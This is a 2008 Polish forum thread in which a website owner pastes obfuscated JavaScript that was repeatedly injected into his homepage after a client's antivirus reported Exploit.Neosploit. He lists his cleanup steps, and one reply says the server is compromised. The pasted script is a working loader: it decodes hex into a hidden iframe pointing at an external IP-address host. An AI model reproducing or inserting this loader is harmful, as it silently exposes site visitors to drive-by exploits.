Bardzo proszę o sprawdzenie co to jest?

IP: *.neoplus.adsl.tpnet.pl 10.07.08, 14:12
Witam, posiadamy stronę w html i od kilku dni pojawia sie w głównej stronie.index taki kod:
</style>
</head>
<body><script>
<!--
var d=document,kol=561;
function O10H4875F60C5D570(H4875F60C5D967){ return( parseInt(H4875F60C5D967,16));}function H4875F60C5E55C(H4875F60C5E962){ function H4875F60C5F561() {var H4875F60C5F95D=2;return H4875F60C5F95D;} var H4875F60C5ED6C='';for(H4875F60C5F164=0; H4875F60C5F164<H4875F60C5E962.length; H4875F60C5F164+=H4875F60C5F561()){ H4875F60C5ED6C += ( String.fromCharCode (O10H4875F60C5D570(H4875F60C5E962.substr(H4875F60C5F164, H4875F60C5F561()))));}return H4875F60C5ED6C;} document.write(H4875F60C5E55C('3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3430313336292B27383364325C272077696474683D313136206865696768743D333436207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));
//-->
</script>

Ponieważ jeden z klientów powiadomił nas o zagrożeniu (Exploit.Neosploit) jakie rejestruje jego przeglądarka, postanowiłem zapytać Was czy wiecie co to za kod mimo usunięcia pojawia sie w stronie i czy to on moze powodować komunikat o o zagrożeniu lub jak to usunąć. Dodam że wykasowałem hasło z Norton comandera , sprawdziłem 3 programami kompa pod katem wirusów i zmieniłem hasło do serwera. Bardzo prosze o poradę w tej sprawie. Pozdrawiam Rafał
    • Gość: Kolobos Re: Bardzo proszę o sprawdzenie co to jest? IP: *.escom.net.pl 10.07.08, 14:41
      Masz dziurawy/zainfowany serwers, wiecej:
      www.google.pl/search?hl=pl&q=var+d=document,kol=561%3B
Pełna wersja